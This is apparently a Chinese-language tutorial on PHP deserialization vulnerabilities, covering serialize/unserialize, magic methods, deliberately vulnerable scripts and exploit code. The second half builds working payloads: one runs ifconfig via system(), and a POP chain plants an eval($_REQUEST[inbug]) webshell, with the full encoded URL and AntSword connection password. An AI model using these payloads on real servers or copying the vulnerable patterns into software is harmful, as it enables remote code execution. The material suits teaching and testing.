序列化与反序列化
PHP序列化
代码
<?php
class Student{
public $name;
public $stuid;
public $age;
function __construct($name,$stuid){
$this->name=$name;
$this->stuid=$stuid;
}
function hello(){
echo("Hello,I'm $this->name.");
}
}
$stu1=new Student('Alice',1);
$stu2=new Student('Bob',2);
$stu1->hello();
$stu2->hello();
echo(serialize($stu1));
echo(serialize($stu2));
执行结果
kali@kali:/tmp$ php student.php
Hello,I'm Alice.
Hello,I'm Bob.
O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}
O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}
代码
<?php
class Student{
public $name;
public $stuid;
public $age;
}
$stu1=new Student();
$stu1->name='Alice';
$stu1->stuid=1;
$stu2=new Student();
$stu2->name='Bob';
$stu2->stuid=2;
echo(serialize($stu1));
echo("\n");
echo(serialize($stu2));
echo("\n");
执行结果
kali@kali:/tmp$ php student_nofunc.php
O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}
O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}
PHP反序列化
代码
<?php
class Student{
public $name;
public $stuid;
public $age;
function __construct($name,$stuid){
$this->name=$name;
$this->stuid=$stuid;
}
function hello(){
echo("Hello,I'm $this->name.\n");
}
}
$stu=unserialize('O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}');
$stu->hello();
echo $stu->name;
echo "\n";
执行结果
kali@kali:/tmp$ php student_sleep.php
Hello,I'm Alice.
Alice
PHP反序列化漏洞
魔术函数 | 触发条件 |
__construct() | 使用new关键字创建对象时 |
__destruct() | 对象被销毁时包括但不限于程序正常结束 |
__call() | |
__callStatic() | |
__get() | |
__set() | |
__isset() | |
__unset() | |
__sleep() | 要序列化还未序列化时 |
__wakeup() | 反序列化完成后自动调用 |
__serialize() | 要序列化还未序列化时调用,与__sleep()同时存在时__sleep()会被忽略不调用 |
__unserialize() | 反序列化完成后自动调用,与__wakeup()同时存在时__wakeup()会被忽略不调用 |
__toString() | 对象被当作字符串时,如字符串拼接、被echo等 |
__invoke() | 对象被当作函数调用时 |
代码
<?php
class Student{
public $name;
public $stuid;
public $age;
function __construct($name,$stuid){
$this->name=$name;
$this->stuid=$stuid;
}
function hello(){
echo("Hello,I'm $this->name.\n");
}
function __get($value){
echo "$value get error.\n";
return("unknow $value.\n");
}
}
$stu=new Student('Alice',1);
echo $stu->sex;
执行结果
kali@kali:/tmp$ php magic.php
sex get error.
unknow sex.
代码
<?php
class Student{
public $name;
public $stuid;
public $age;
function __construct($name,$stuid){
$this->name=$name;
$this->stuid=$stuid;
}
function hello(){
echo("Hello,I'm $this->name.\n");
}
function __get($value){
echo "$value get error\n";
return("unknow $value.\n");
}
function __toString(){
system($this->command);
return("\nok\n");
}
}
$stu=unserialize($_REQUEST('un'));
$stu->hello();
分析
exp
<?php
class Student{
public $name;
public $stuid;
public $age;
function __construct($name,$stuid){
$this->name=$name;
$this->stuid=$stuid;
}
function hello(){
echo("Hello,I'm $this->name.\n");
}
function __get($value){
echo "$value get error\n";
return("unknow $value.\n");
}
function __toString(){
system($this->command);
return("\nok\n");
}
}
$stu1=new Student('Alice',1);
$stu1->command='ifconfig';
$stu2=new Student($stu1,2);
echo serialize($stu2);
执行结果
kali@kali:/tmp$ php unser_exp.php
O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
构造url:
http://127.0.0.1/unser_vul.php?un=O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
访问结果:
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.138.1 netmask 255.255.255.0 broadcast 192.168.138.255
inet6 fe80::c49:bff:2a44:7c3 prefixlen 64 scopeid 0xfd<compat,link,site,host>
ether 00:50:56:c0:00:01 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1500
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0xfe<compat,link,site,host>
loop (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Hello,I'm
ok
.
实例
<?php
error_reporting(0);
class Demo1{
private $a;
function test(){
echo $this->a;
}
}
class Demo2{
private $cmd;
function a(){
eval($this->cmd);
}
function __toString(){
$this->a();
return 'ok';
}
}
$d = unserialize($_GET['s']);
$d->test();
分析
$d->test()
说明$d可能是Demo1的实例,执行Demo1中的test()时echo自己的$a的值,若$a不为字符串,将触发调用$a->__toString()
,若$a
为Demo2的实例,$a->__toString()
调用$a->a(),执行eval($a->cmd);
。 eval($_REQUEST[inbug]);
。 编写利用代码 exp.php
<?php
class Demo1{
private $a;
function __construct($arg){
$this->a=$arg;
}
function test(){
echo $this->a;
}
}
class Demo2{
private $cmd;
function __construct($arg){
$this->cmd=$arg;
}
function a(){
eval($this->cmd);
}
function __toString(){
$this->a();
return 'ok';
}
}
$t=new Demo2('eval($_REQUEST[inbug]);');
$s=new Demo1($t);
$d = serialize($s);
echo(urlencode($d));
执行结果
root@kali# php exp.php
O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
蚁剑连接
链接:/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
连接密码:inbug
总结